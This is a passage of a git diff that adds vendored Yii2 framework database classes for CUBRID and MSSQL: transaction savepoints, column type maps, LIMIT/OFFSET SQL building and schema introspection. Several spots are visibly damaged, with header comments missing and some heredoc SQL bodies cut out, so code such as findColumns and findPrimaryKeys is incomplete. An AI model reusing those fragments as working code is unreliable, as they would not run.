$this->db->getSchema(); + if ($schema->supportsSavepoint()) { + Yii::trace('Set savepoint ' . $this->_level, __METHOD__); + $schema->createSavepoint('LEVEL' . $this->_level); + } else { + Yii::info('Transaction not started: nested transaction not supported', __METHOD__); + } + $this->_level++; + } + + /** + * Commits a transaction. + * @throws Exception if the transaction is not active + */ + public function commit() + { + if (!$this->getIsActive()) { + throw new Exception('Failed to commit transaction: transaction was inactive.'); + } + + $this->_level--; + if ($this->_level == 0) { + Yii::trace('Commit transaction', __METHOD__); + $this->db->pdo->commit(); + $this->db->trigger(Connection::EVENT_COMMIT_TRANSACTION); + return; + } + + $schema = $this->db->getSchema(); + if ($schema->supportsSavepoint()) { + Yii::trace('Release savepoint ' . $this->_level, __METHOD__); + $schema->releaseSavepoint('LEVEL' . $this->_level); + } else { + Yii::info('Transaction not committed: nested transaction not supported', __METHOD__); + } + } + + /** + * Rolls back a transaction. + * @throws Exception if the transaction is not active + */ + public function rollBack() + { + if (!$this->getIsActive()) { + // do nothing if transaction is not active: this could be the transaction is committed + // but the event handler to "commitTransaction" throw an exception + return; + } + + $this->_level--; + if ($this->_level == 0) { + Yii::trace('Roll back transaction', __METHOD__); + $this->db->pdo->rollBack(); + $this->db->trigger(Connection::EVENT_ROLLBACK_TRANSACTION); + return; + } + + $schema = $this->db->getSchema(); + if ($schema->supportsSavepoint()) { + Yii::trace('Roll back to savepoint ' . $this->_level, __METHOD__); + $schema->rollBackSavepoint('LEVEL' . $this->_level); + } else { + Yii::info('Transaction not rolled back: nested transaction not supported', __METHOD__); + // throw an exception to fail the outer transaction + throw new Exception('Roll back failed: nested transaction not supported.'); + } + } + + /** + * Sets the transaction isolation level for this transaction. + * + * This method can be used to set the isolation level while the transaction is already active. + * However this is not supported by all DBMS so you might rather specify the isolation level directly + * when calling [[begin()]]. + * @param string $level The transaction isolation level to use for this transaction. + * This can be one of [[READ_UNCOMMITTED]], [[READ_COMMITTED]], [[REPEATABLE_READ]] and [[SERIALIZABLE]] but + * also a string containing DBMS specific syntax to be used after `SET TRANSACTION ISOLATION LEVEL`. + * @throws Exception if the transaction is not active + * @see http://en.wikipedia.org/wiki/Isolation_%28database_systems%29#Isolation_levels + */ + public function setIsolationLevel($level) + { + if (!$this->getIsActive()) { + throw new Exception('Failed to set isolation level: transaction was inactive.'); + } + Yii::trace('Setting transaction isolation level to ' . $level, __METHOD__); + $this->db->getSchema()->setTransactionIsolationLevel($level); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/cubrid/QueryBuilder.php b/php/yii2/basic/vendor/yiisoft/yii2/db/cubrid/QueryBuilder.php new file mode 100644 index 00000000..e0c09c39 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/cubrid/QueryBuilder.php @@ -0,0 +1,93 @@ + + * @since 2.0 + */ +class QueryBuilder extends \yii\db\QueryBuilder +{ + /** + * @var array mapping from abstract column types (keys) to physical column types (values). + */ + public $typeMap = [ + Schema::TYPE_PK => 'int NOT NULL AUTO_INCREMENT PRIMARY KEY', + Schema::TYPE_BIGPK => 'bigint NOT NULL AUTO_INCREMENT PRIMARY KEY', + Schema::TYPE_STRING => 'varchar(255)', + Schema::TYPE_TEXT => 'varchar', + Schema::TYPE_SMALLINT => 'smallint', + Schema::TYPE_INTEGER => 'int', + Schema::TYPE_BIGINT => 'bigint', + Schema::TYPE_FLOAT => 'float(7)', + Schema::TYPE_DECIMAL => 'decimal(10,0)', + Schema::TYPE_DATETIME => 'datetime', + Schema::TYPE_TIMESTAMP => 'timestamp', + Schema::TYPE_TIME => 'time', + Schema::TYPE_DATE => 'date', + Schema::TYPE_BINARY => 'blob', + Schema::TYPE_BOOLEAN => 'smallint', + Schema::TYPE_MONEY => 'decimal(19,4)', + ]; + + + /** + * Creates a SQL statement for resetting the sequence value of a table's primary key. + * The sequence will be reset such that the primary key of the next new row inserted + * will have the specified value or 1. + * @param string $tableName the name of the table whose primary key sequence will be reset + * @param mixed $value the value for the primary key of the next new row inserted. If this is not set, + * the next new row's primary key will have a value 1. + * @return string the SQL statement for resetting sequence + * @throws InvalidParamException if the table does not exist or there is no sequence associated with the table. + */ + public function resetSequence($tableName, $value = null) + { + $table = $this->db->getTableSchema($tableName); + if ($table !== null && $table->sequenceName !== null) { + $tableName = $this->db->quoteTableName($tableName); + if ($value === null) { + $key = reset($table->primaryKey); + $value = (int) $this->db->createCommand("SELECT MAX(`$key`) FROM " . $this->db->schema->quoteTableName($tableName))->queryScalar() + 1; + } else { + $value = (int) $value; + } + + return "ALTER TABLE " . $this->db->schema->quoteTableName($tableName) . " AUTO_INCREMENT=$value;"; + } elseif ($table === null) { + throw new InvalidParamException("Table not found: $tableName"); + } else { + throw new InvalidParamException("There is not sequence associated with table '$tableName'."); + } + } + + /** + * @inheritdoc + */ + public function buildLimit($limit, $offset) + { + $sql = ''; + // limit is not optional in CUBRID + // http://www.cubrid.org/manual/90/en/LIMIT%20Clause + // "You can specify a very big integer for row_count to display to the last row, starting from a specific row." + if ($this->hasLimit($limit)) { + $sql = 'LIMIT ' . $limit; + if ($this->hasOffset($offset)) { + $sql .= ' OFFSET ' . $offset; + } + } elseif ($this->hasOffset($offset)) { + $sql = "LIMIT 9223372036854775807 OFFSET $offset"; // 2^63-1 + } + + return $sql; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/cubrid/Schema.php b/php/yii2/basic/vendor/yiisoft/yii2/db/cubrid/Schema.php new file mode 100644 index 00000000..28ea9702 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/cubrid/Schema.php @@ -0,0 +1,302 @@ + + * @since 2.0 + */ +class Schema extends \yii\db\Schema +{ + /** + * @var array mapping from physical column types (keys) to abstract column types (values) + * Please refer to [CUBRID manual](http://www.cubrid.org/manual/91/en/sql/datatype.html) for + * details on data types. + */ + public $typeMap = [ + // Numeric data types + 'short' => self::TYPE_SMALLINT, + 'smallint' => self::TYPE_SMALLINT, + 'int' => self::TYPE_INTEGER, + 'integer' => self::TYPE_INTEGER, + 'bigint' => self::TYPE_BIGINT, + 'numeric' => self::TYPE_DECIMAL, + 'decimal' => self::TYPE_DECIMAL, + 'float' => self::TYPE_FLOAT, + 'real' => self::TYPE_FLOAT, + 'double' => self::TYPE_FLOAT, + 'double precision' => self::TYPE_FLOAT, + 'monetary' => self::TYPE_MONEY, + // Date/Time data types + 'date' => self::TYPE_DATE, + 'time' => self::TYPE_TIME, + 'timestamp' => self::TYPE_TIMESTAMP, + 'datetime' => self::TYPE_DATETIME, + // String data types + 'char' => self::TYPE_STRING, + 'varchar' => self::TYPE_STRING, + 'char varying' => self::TYPE_STRING, + 'nchar' => self::TYPE_STRING, + 'nchar varying' => self::TYPE_STRING, + 'string' => self::TYPE_STRING, + // BLOB/CLOB data types + 'blob' => self::TYPE_BINARY, + 'clob' => self::TYPE_BINARY, + // Bit string data types + 'bit' => self::TYPE_INTEGER, + 'bit varying' => self::TYPE_INTEGER, + // Collection data types (considered strings for now) + 'set' => self::TYPE_STRING, + 'multiset' => self::TYPE_STRING, + 'list' => self::TYPE_STRING, + 'sequence' => self::TYPE_STRING, + 'enum' => self::TYPE_STRING, + ]; + /** + * @var array map of DB errors and corresponding exceptions + * If left part is found in DB error message exception class from the right part is used. + */ + public $exceptionMap = [ + 'Operation would have caused one or more unique constraint violations' => 'yii\db\IntegrityException', + ]; + + + /** + * @inheritdoc + */ + public function releaseSavepoint($name) + { + // does nothing as cubrid does not support this + } + + /** + * Quotes a table name for use in a query. + * A simple table name has no schema prefix. + * @param string $name table name + * @return string the properly quoted table name + */ + public function quoteSimpleTableName($name) + { + return strpos($name, '"') !== false ? $name : '"' . $name . '"'; + } + + /** + * Quotes a column name for use in a query. + * A simple column name has no prefix. + * @param string $name column name + * @return string the properly quoted column name + */ + public function quoteSimpleColumnName($name) + { + return strpos($name, '"') !== false || $name === '*' ? $name : '"' . $name . '"'; + } + + /** + * Creates a query builder for the CUBRID database. + * @return QueryBuilder query builder instance + */ + public function createQueryBuilder() + { + return new QueryBuilder($this->db); + } + + /** + * Loads the metadata for the specified table. + * @param string $name table name + * @return TableSchema driver dependent table metadata. Null if the table does not exist. + */ + protected function loadTableSchema($name) + { + $pdo = $this->db->getSlavePdo(); + + $tableInfo = $pdo->cubrid_schema(\PDO::CUBRID_SCH_TABLE, $name); + + if (!isset($tableInfo[0]['NAME'])) { + return null; + } + + $table = new TableSchema(); + $table->fullName = $table->name = $tableInfo[0]['NAME']; + + $sql = 'SHOW FULL COLUMNS FROM ' . $this->quoteSimpleTableName($table->name); + $columns = $this->db->createCommand($sql)->queryAll(); + + foreach ($columns as $info) { + $column = $this->loadColumnSchema($info); + $table->columns[$column->name] = $column; + } + + $primaryKeys = $pdo->cubrid_schema(\PDO::CUBRID_SCH_PRIMARY_KEY, $table->name); + foreach ($primaryKeys as $key) { + $column = $table->columns[$key['ATTR_NAME']]; + $column->isPrimaryKey = true; + $table->primaryKey[] = $column->name; + if ($column->autoIncrement) { + $table->sequenceName = ''; + } + } + + $foreignKeys = $pdo->cubrid_schema(\PDO::CUBRID_SCH_IMPORTED_KEYS, $table->name); + foreach ($foreignKeys as $key) { + if (isset($table->foreignKeys[$key['FK_NAME']])) { + $table->foreignKeys[$key['FK_NAME']][$key['FKCOLUMN_NAME']] = $key['PKCOLUMN_NAME']; + } else { + $table->foreignKeys[$key['FK_NAME']] = [ + $key['PKTABLE_NAME'], + $key['FKCOLUMN_NAME'] => $key['PKCOLUMN_NAME'] + ]; + } + } + $table->foreignKeys = array_values($table->foreignKeys); + + return $table; + } + + /** + * Loads the column information into a [[ColumnSchema]] object. + * @param array $info column information + * @return ColumnSchema the column schema object + */ + protected function loadColumnSchema($info) + { + $column = $this->createColumnSchema(); + + $column->name = $info['Field']; + $column->allowNull = $info['Null'] === 'YES'; + $column->isPrimaryKey = false; // primary key will be set by loadTableSchema() later + $column->autoIncrement = stripos($info['Extra'], 'auto_increment') !== false; + + $column->dbType = $info['Type']; + $column->unsigned = strpos($column->dbType, 'unsigned') !== false; + + $column->type = self::TYPE_STRING; + if (preg_match('/^([\w ]+)(?:\(([^\)]+)\))?$/', $column->dbType, $matches)) { + $type = strtolower($matches[1]); + $column->dbType = $type . (isset($matches[2]) ? "({$matches[2]})" : ''); + if (isset($this->typeMap[$type])) { + $column->type = $this->typeMap[$type]; + } + if (!empty($matches[2])) { + if ($type === 'enum') { + $values = preg_split('/\s*,\s*/', $matches[2]); + foreach ($values as $i => $value) { + $values[$i] = trim($value, "'"); + } + $column->enumValues = $values; + } else { + $values = explode(',', $matches[2]); + $column->size = $column->precision = (int) $values[0]; + if (isset($values[1])) { + $column->scale = (int) $values[1]; + } + if ($column->size === 1 && $type === 'bit') { + $column->type = 'boolean'; + } elseif ($type === 'bit') { + if ($column->size > 32) { + $column->type = 'bigint'; + } elseif ($column->size === 32) { + $column->type = 'integer'; + } + } + } + } + } + + $column->phpType = $this->getColumnPhpType($column); + + if ($column->isPrimaryKey) { + return $column; + } + + if ($column->type === 'timestamp' && $info['Default'] === 'SYS_TIMESTAMP' || + $column->type === 'datetime' && $info['Default'] === 'SYS_DATETIME' || + $column->type === 'date' && $info['Default'] === 'SYS_DATE' || + $column->type === 'time' && $info['Default'] === 'SYS_TIME' + ) { + $column->defaultValue = new Expression($info['Default']); + } elseif (isset($type) && $type === 'bit') { + $column->defaultValue = hexdec(trim($info['Default'],'X\'')); + } else { + $column->defaultValue = $column->phpTypecast($info['Default']); + } + + return $column; + } + + /** + * Returns all table names in the database. + * @param string $schema the schema of the tables. Defaults to empty string, meaning the current or default schema. + * @return array all table names in the database. The names have NO schema name prefix. + */ + protected function findTableNames($schema = '') + { + $pdo = $this->db->getSlavePdo(); + $tables =$pdo->cubrid_schema(\PDO::CUBRID_SCH_TABLE); + $tableNames = []; + foreach ($tables as $table) { + // do not list system tables + if ($table['TYPE'] != 0) { + $tableNames[] = $table['NAME']; + } + } + + return $tableNames; + } + + /** + * Determines the PDO type for the given PHP data value. + * @param mixed $data the data whose PDO type is to be determined + * @return integer the PDO type + * @see http://www.php.net/manual/en/pdo.constants.php + */ + public function getPdoType($data) + { + static $typeMap = [ + // php type => PDO type + 'boolean' => \PDO::PARAM_INT, // PARAM_BOOL is not supported by CUBRID PDO + 'integer' => \PDO::PARAM_INT, + 'string' => \PDO::PARAM_STR, + 'resource' => \PDO::PARAM_LOB, + 'NULL' => \PDO::PARAM_NULL, + ]; + $type = gettype($data); + + return isset($typeMap[$type]) ? $typeMap[$type] : \PDO::PARAM_STR; + } + + /** + * @inheritdoc + * @see http://www.cubrid.org/manual/91/en/sql/transaction.html#database-concurrency + */ + public function setTransactionIsolationLevel($level) + { + // translate SQL92 levels to CUBRID levels: + switch ($level) { + case Transaction::SERIALIZABLE: + $level = '6'; // SERIALIZABLE + break; + case Transaction::REPEATABLE_READ: + $level = '5'; // REPEATABLE READ CLASS with REPEATABLE READ INSTANCES + break; + case Transaction::READ_COMMITTED: + $level = '4'; // REPEATABLE READ CLASS with READ COMMITTED INSTANCES + break; + case Transaction::READ_UNCOMMITTED: + $level = '3'; // REPEATABLE READ CLASS with READ UNCOMMITTED INSTANCES + break; + } + parent::setTransactionIsolationLevel($level); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/PDO.php b/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/PDO.php new file mode 100644 index 00000000..9ea53aaf --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/PDO.php @@ -0,0 +1,86 @@ + + * @since 2.0 + */ +class PDO extends \PDO +{ + /** + * Returns value of the last inserted ID. + * @param string|null $sequence the sequence name. Defaults to null. + * @return integer last inserted ID value. + */ + public function lastInsertId($sequence = null) + { + return $this->query('SELECT CAST(COALESCE(SCOPE_IDENTITY(), @@IDENTITY) AS bigint)')->fetchColumn(); + } + + /** + * Starts a transaction. It is necessary to override PDO's method as MSSQL PDO driver does not + * natively support transactions. + * @return boolean the result of a transaction start. + */ + public function beginTransaction() + { + $this->exec('BEGIN TRANSACTION'); + + return true; + } + + /** + * Commits a transaction. It is necessary to override PDO's method as MSSQL PDO driver does not + * natively support transactions. + * @return boolean the result of a transaction commit. + */ + public function commit() + { + $this->exec('COMMIT TRANSACTION'); + + return true; + } + + /** + * Rollbacks a transaction. It is necessary to override PDO's method as MSSQL PDO driver does not + * natively support transactions. + * @return boolean the result of a transaction roll back. + */ + public function rollBack() + { + $this->exec('ROLLBACK TRANSACTION'); + + return true; + } + + /** + * Retrieve a database connection attribute. + * It is necessary to override PDO's method as some MSSQL PDO driver (e.g. dblib) does not + * support getting attributes + * @param integer $attribute One of the PDO::ATTR_* constants. + * @return mixed A successful call returns the value of the requested PDO attribute. + * An unsuccessful call returns null. + */ + public function getAttribute($attribute) + { + try { + return parent::getAttribute($attribute); + } catch (\PDOException $e) { + switch ($attribute) { + case PDO::ATTR_SERVER_VERSION: + return $this->query("SELECT SERVERPROPERTY('productversion')")->fetchColumn(); + default: + throw $e; + } + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/QueryBuilder.php b/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/QueryBuilder.php new file mode 100644 index 00000000..46e0d1d0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/QueryBuilder.php @@ -0,0 +1,218 @@ + + * @since 2.0 + */ +class QueryBuilder extends \yii\db\QueryBuilder +{ + /** + * @var array mapping from abstract column types (keys) to physical column types (values). + */ + public $typeMap = [ + Schema::TYPE_PK => 'int IDENTITY PRIMARY KEY', + Schema::TYPE_BIGPK => 'bigint IDENTITY PRIMARY KEY', + Schema::TYPE_STRING => 'varchar(255)', + Schema::TYPE_TEXT => 'text', + Schema::TYPE_SMALLINT => 'smallint', + Schema::TYPE_INTEGER => 'int', + Schema::TYPE_BIGINT => 'bigint', + Schema::TYPE_FLOAT => 'float', + Schema::TYPE_DECIMAL => 'decimal', + Schema::TYPE_DATETIME => 'datetime', + Schema::TYPE_TIMESTAMP => 'timestamp', + Schema::TYPE_TIME => 'time', + Schema::TYPE_DATE => 'date', + Schema::TYPE_BINARY => 'binary(1)', + Schema::TYPE_BOOLEAN => 'bit', + Schema::TYPE_MONEY => 'decimal(19,4)', + ]; + + + /** + * @inheritdoc + */ + public function buildOrderByAndLimit($sql, $orderBy, $limit, $offset) + { + if (!$this->hasOffset($offset) && !$this->hasLimit($limit)) { + $orderBy = $this->buildOrderBy($orderBy); + return $orderBy === '' ? $sql : $sql . $this->separator . $orderBy; + } + + if ($this->isOldMssql()) { + return $this->oldbuildOrderByAndLimit($sql, $orderBy, $limit, $offset); + } else { + return $this->newBuildOrderByAndLimit($sql, $orderBy, $limit, $offset); + } + } + + /** + * Builds the ORDER BY/LIMIT/OFFSET clauses for SQL SERVER 2012 or newer. + * @param string $sql the existing SQL (without ORDER BY/LIMIT/OFFSET) + * @param array $orderBy the order by columns. See [[Query::orderBy]] for more details on how to specify this parameter. + * @param integer $limit the limit number. See [[Query::limit]] for more details. + * @param integer $offset the offset number. See [[Query::offset]] for more details. + * @return string the SQL completed with ORDER BY/LIMIT/OFFSET (if any) + */ + protected function newBuildOrderByAndLimit($sql, $orderBy, $limit, $offset) + { + $orderBy = $this->buildOrderBy($orderBy); + if ($orderBy === '') { + // ORDER BY clause is required when FETCH and OFFSET are in the SQL + $orderBy = 'ORDER BY (SELECT NULL)'; + } + $sql .= $this->separator . $orderBy; + + // http://technet.microsoft.com/en-us/library/gg699618.aspx + $offset = $this->hasOffset($offset) ? $offset : '0'; + $sql .= $this->separator . "OFFSET $offset ROWS"; + if ($this->hasLimit($limit)) { + $sql .= $this->separator . "FETCH NEXT $limit ROWS ONLY"; + } + + return $sql; + } + + /** + * Builds the ORDER BY/LIMIT/OFFSET clauses for SQL SERVER 2005 to 2008. + * @param string $sql the existing SQL (without ORDER BY/LIMIT/OFFSET) + * @param array $orderBy the order by columns. See [[Query::orderBy]] for more details on how to specify this parameter. + * @param integer $limit the limit number. See [[Query::limit]] for more details. + * @param integer $offset the offset number. See [[Query::offset]] for more details. + * @return string the SQL completed with ORDER BY/LIMIT/OFFSET (if any) + */ + protected function oldBuildOrderByAndLimit($sql, $orderBy, $limit, $offset) + { + $orderBy = $this->buildOrderBy($orderBy); + if ($orderBy === '') { + // ROW_NUMBER() requires an ORDER BY clause + $orderBy = 'ORDER BY (SELECT NULL)'; + } + + $sql = preg_replace('/^([\s(])*SELECT(\s+DISTINCT)?(?!\s*TOP\s*\()/i', "\\1SELECT\\2 rowNum = ROW_NUMBER() over ($orderBy),", $sql); + + if ($this->hasLimit($limit)) { + $sql = "SELECT TOP $limit * FROM ($sql) sub"; + } else { + $sql = "SELECT * FROM ($sql) sub"; + } + if ($this->hasOffset($offset)) { + $sql .= $this->separator . "WHERE rowNum > $offset"; + } + + return $sql; + } + + /** + * Builds a SQL statement for renaming a DB table. + * @param string $table the table to be renamed. The name will be properly quoted by the method. + * @param string $newName the new table name. The name will be properly quoted by the method. + * @return string the SQL statement for renaming a DB table. + */ + public function renameTable($table, $newName) + { + return "sp_rename '$table', '$newName'"; + } + + /** + * Builds a SQL statement for renaming a column. + * @param string $table the table whose column is to be renamed. The name will be properly quoted by the method. + * @param string $name the old name of the column. The name will be properly quoted by the method. + * @param string $newName the new name of the column. The name will be properly quoted by the method. + * @return string the SQL statement for renaming a DB column. + */ + public function renameColumn($table, $name, $newName) + { + return "sp_rename '$table.$name', '$newName', 'COLUMN'"; + } + + /** + * Builds a SQL statement for changing the definition of a column. + * @param string $table the table whose column is to be changed. The table name will be properly quoted by the method. + * @param string $column the name of the column to be changed. The name will be properly quoted by the method. + * @param string $type the new column type. The [[getColumnType]] method will be invoked to convert abstract column type (if any) + * into the physical one. Anything that is not recognized as abstract type will be kept in the generated SQL. + * For example, 'string' will be turned into 'varchar(255)', while 'string not null' will become 'varchar(255) not null'. + * @return string the SQL statement for changing the definition of a column. + */ + public function alterColumn($table, $column, $type) + { + $type = $this->getColumnType($type); + $sql = 'ALTER TABLE ' . $this->db->quoteTableName($table) . ' ALTER COLUMN ' + . $this->db->quoteColumnName($column) . ' ' + . $this->getColumnType($type); + + return $sql; + } + + /** + * Builds a SQL statement for enabling or disabling integrity check. + * @param boolean $check whether to turn on or off the integrity check. + * @param string $schema the schema of the tables. Defaults to empty string, meaning the current or default schema. + * @param string $table the table name. Defaults to empty string, meaning that no table will be changed. + * @return string the SQL statement for checking integrity + * @throws InvalidParamException if the table does not exist or there is no sequence associated with the table. + */ + public function checkIntegrity($check = true, $schema = '', $table = '') + { + if ($schema !== '') { + $table = "{$schema}.{$table}"; + } + $table = $this->db->quoteTableName($table); + if ($this->db->getTableSchema($table) === null) { + throw new InvalidParamException("Table not found: $table"); + } + $enable = $check ? 'CHECK' : 'NOCHECK'; + + return "ALTER TABLE {$table} {$enable} CONSTRAINT ALL"; + } + + /** + * Returns an array of column names given model name + * + * @param string $modelClass name of the model class + * @return array|null array of column names + */ + protected function getAllColumnNames($modelClass = null) + { + if (!$modelClass) { + return null; + } + /* @var $model \yii\db\ActiveRecord */ + $model = new $modelClass; + $schema = $model->getTableSchema(); + $columns = array_keys($schema->columns); + return $columns; + } + + /** + * @var boolean whether MSSQL used is old. + */ + private $_oldMssql; + + /** + * @return boolean whether the version of the MSSQL being used is older than 2012. + * @throws \yii\base\InvalidConfigException + * @throws \yii\db\Exception + */ + protected function isOldMssql() + { + if ($this->_oldMssql === null) { + $pdo = $this->db->getSlavePdo(); + $version = preg_split("/\./", $pdo->getAttribute(\PDO::ATTR_SERVER_VERSION)); + $this->_oldMssql = $version[0] < 11; + } + return $this->_oldMssql; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/Schema.php b/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/Schema.php new file mode 100644 index 00000000..dc7adabe --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/Schema.php @@ -0,0 +1,378 @@ + + * @since 2.0 + */ +class Schema extends \yii\db\Schema +{ + /** + * @var string the default schema used for the current session. + */ + public $defaultSchema = 'dbo'; + /** + * @var array mapping from physical column types (keys) to abstract column types (values) + */ + public $typeMap = [ + // exact numbers + 'bigint' => self::TYPE_BIGINT, + 'numeric' => self::TYPE_DECIMAL, + 'bit' => self::TYPE_SMALLINT, + 'smallint' => self::TYPE_SMALLINT, + 'decimal' => self::TYPE_DECIMAL, + 'smallmoney' => self::TYPE_MONEY, + 'int' => self::TYPE_INTEGER, + 'tinyint' => self::TYPE_SMALLINT, + 'money' => self::TYPE_MONEY, + // approximate numbers + 'float' => self::TYPE_FLOAT, + 'real' => self::TYPE_FLOAT, + // date and time + 'date' => self::TYPE_DATE, + 'datetimeoffset' => self::TYPE_DATETIME, + 'datetime2' => self::TYPE_DATETIME, + 'smalldatetime' => self::TYPE_DATETIME, + 'datetime' => self::TYPE_DATETIME, + 'time' => self::TYPE_TIME, + // character strings + 'char' => self::TYPE_STRING, + 'varchar' => self::TYPE_STRING, + 'text' => self::TYPE_TEXT, + // unicode character strings + 'nchar' => self::TYPE_STRING, + 'nvarchar' => self::TYPE_STRING, + 'ntext' => self::TYPE_TEXT, + // binary strings + 'binary' => self::TYPE_BINARY, + 'varbinary' => self::TYPE_BINARY, + 'image' => self::TYPE_BINARY, + // other data types + // 'cursor' type cannot be used with tables + 'timestamp' => self::TYPE_TIMESTAMP, + 'hierarchyid' => self::TYPE_STRING, + 'uniqueidentifier' => self::TYPE_STRING, + 'sql_variant' => self::TYPE_STRING, + 'xml' => self::TYPE_STRING, + 'table' => self::TYPE_STRING, + ]; + + + /** + * @inheritdoc + */ + public function createSavepoint($name) + { + $this->db->createCommand("SAVE TRANSACTION $name")->execute(); + } + + /** + * @inheritdoc + */ + public function releaseSavepoint($name) + { + // does nothing as MSSQL does not support this + } + + /** + * @inheritdoc + */ + public function rollBackSavepoint($name) + { + $this->db->createCommand("ROLLBACK TRANSACTION $name")->execute(); + } + + /** + * Quotes a table name for use in a query. + * A simple table name has no schema prefix. + * @param string $name table name. + * @return string the properly quoted table name. + */ + public function quoteSimpleTableName($name) + { + return strpos($name, '[') === false ? "[{$name}]" : $name; + } + + /** + * Quotes a column name for use in a query. + * A simple column name has no prefix. + * @param string $name column name. + * @return string the properly quoted column name. + */ + public function quoteSimpleColumnName($name) + { + return strpos($name, '[') === false && $name !== '*' ? "[{$name}]" : $name; + } + + /** + * Creates a query builder for the MSSQL database. + * @return QueryBuilder query builder interface. + */ + public function createQueryBuilder() + { + return new QueryBuilder($this->db); + } + + /** + * Loads the metadata for the specified table. + * @param string $name table name + * @return TableSchema|null driver dependent table metadata. Null if the table does not exist. + */ + public function loadTableSchema($name) + { + $table = new TableSchema(); + $this->resolveTableNames($table, $name); + $this->findPrimaryKeys($table); + if ($this->findColumns($table)) { + $this->findForeignKeys($table); + + return $table; + } else { + return null; + } + } + + /** + * Resolves the table name and schema name (if any). + * @param TableSchema $table the table metadata object + * @param string $name the table name + */ + protected function resolveTableNames($table, $name) + { + $parts = explode('.', str_replace(['[', ']'], '', $name)); + $partCount = count($parts); + if ($partCount == 3) { + // catalog name, schema name and table name passed + $table->catalogName = $parts[0]; + $table->schemaName = $parts[1]; + $table->name = $parts[2]; + $table->fullName = $table->catalogName . '.' . $table->schemaName . '.' . $table->name; + } elseif ($partCount == 2) { + // only schema name and table name passed + $table->schemaName = $parts[0]; + $table->name = $parts[1]; + $table->fullName = $table->schemaName !== $this->defaultSchema ? $table->schemaName . '.' . $table->name : $table->name; + } else { + // only table name passed + $table->schemaName = $this->defaultSchema; + $table->fullName = $table->name = $parts[0]; + } + } + + /** + * Loads the column information into a [[ColumnSchema]] object. + * @param array $info column information + * @return ColumnSchema the column schema object + */ + protected function loadColumnSchema($info) + { + $column = $this->createColumnSchema(); + + $column->name = $info['column_name']; + $column->allowNull = $info['is_nullable'] == 'YES'; + $column->dbType = $info['data_type']; + $column->enumValues = []; // mssql has only vague equivalents to enum + $column->isPrimaryKey = null; // primary key will be determined in findColumns() method + $column->autoIncrement = $info['is_identity'] == 1; + $column->unsigned = stripos($column->dbType, 'unsigned') !== false; + $column->comment = $info['comment'] === null ? '' : $info['comment']; + + $column->type = self::TYPE_STRING; + if (preg_match('/^(\w+)(?:\(([^\)]+)\))?/', $column->dbType, $matches)) { + $type = $matches[1]; + if (isset($this->typeMap[$type])) { + $column->type = $this->typeMap[$type]; + } + if (!empty($matches[2])) { + $values = explode(',', $matches[2]); + $column->size = $column->precision = (int) $values[0]; + if (isset($values[1])) { + $column->scale = (int) $values[1]; + } + if ($column->size === 1 && ($type === 'tinyint' || $type === 'bit')) { + $column->type = 'boolean'; + } elseif ($type === 'bit') { + if ($column->size > 32) { + $column->type = 'bigint'; + } elseif ($column->size === 32) { + $column->type = 'integer'; + } + } + } + } + + $column->phpType = $this->getColumnPhpType($column); + + if ($info['column_default'] == '(NULL)') { + $info['column_default'] = null; + } + if (!$column->isPrimaryKey && ($column->type !== 'timestamp' || $info['column_default'] !== 'CURRENT_TIMESTAMP')) { + $column->defaultValue = $column->phpTypecast($info['column_default']); + } + + return $column; + } + + /** + * Collects the metadata of table columns. + * @param TableSchema $table the table metadata + * @return boolean whether the table exists in the database + */ + protected function findColumns($table) + { + $columnsTableName = 'INFORMATION_SCHEMA.COLUMNS'; + $whereSql = "[t1].[table_name] = '{$table->name}'"; + if ($table->catalogName !== null) { + $columnsTableName = "{$table->catalogName}.{$columnsTableName}"; + $whereSql .= " AND [t1].[table_catalog] = '{$table->catalogName}'"; + } + if ($table->schemaName !== null) { + $whereSql .= " AND [t1].[table_schema] = '{$table->schemaName}'"; + } + $columnsTableName = $this->quoteTableName($columnsTableName); + + $sql = <<db->createCommand($sql)->queryAll(); + if (empty($columns)) { + return false; + } + } catch (\Exception $e) { + return false; + } + foreach ($columns as $column) { + $column = $this->loadColumnSchema($column); + foreach ($table->primaryKey as $primaryKey) { + if (strcasecmp($column->name, $primaryKey) === 0) { + $column->isPrimaryKey = true; + break; + } + } + if ($column->isPrimaryKey && $column->autoIncrement) { + $table->sequenceName = ''; + } + $table->columns[$column->name] = $column; + } + + return true; + } + + /** + * Collects the primary key column details for the given table. + * @param TableSchema $table the table metadata + */ + protected function findPrimaryKeys($table) + { + $keyColumnUsageTableName = 'INFORMATION_SCHEMA.KEY_COLUMN_USAGE'; + $tableConstraintsTableName = 'INFORMATION_SCHEMA.TABLE_CONSTRAINTS'; + if ($table->catalogName !== null) { + $keyColumnUsageTableName = $table->catalogName . '.' . $keyColumnUsageTableName; + $tableConstraintsTableName = $table->catalogName . '.' . $tableConstraintsTableName; + } + $keyColumnUsageTableName = $this->quoteTableName($keyColumnUsageTableName); + $tableConstraintsTableName = $this->quoteTableName($tableConstraintsTableName); + + $sql = <<primaryKey = $this->db + ->createCommand($sql, [':tableName' => $table->name, ':schemaName' => $table->schemaName]) + ->queryColumn(); + } + + /** + * Collects the foreign key column details for the given table. + * @param TableSchema $table the table metadata + */ + protected function findForeignKeys($table) + { + $referentialConstraintsTableName = 'INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS'; + $keyColumnUsageTableName = 'INFORMATION_SCHEMA.KEY_COLUMN_USAGE'; + if ($table->catalogName !== null) { + $referentialConstraintsTableName = $table->catalogName . '.' . $referentialConstraintsTableName; + $keyColumnUsageTableName = $table->catalogName . '.' . $keyColumnUsageTableName; + } + $referentialConstraintsTableName = $this->quoteTableName($referentialConstraintsTableName); + $keyColumnUsageTableName = $this->quoteTableName($keyColumnUsageTableName); + + // please refer to the following page for more details: + // http://msdn2.microsoft.com/en-us/library/aa175805(SQL.80).aspx + $sql = 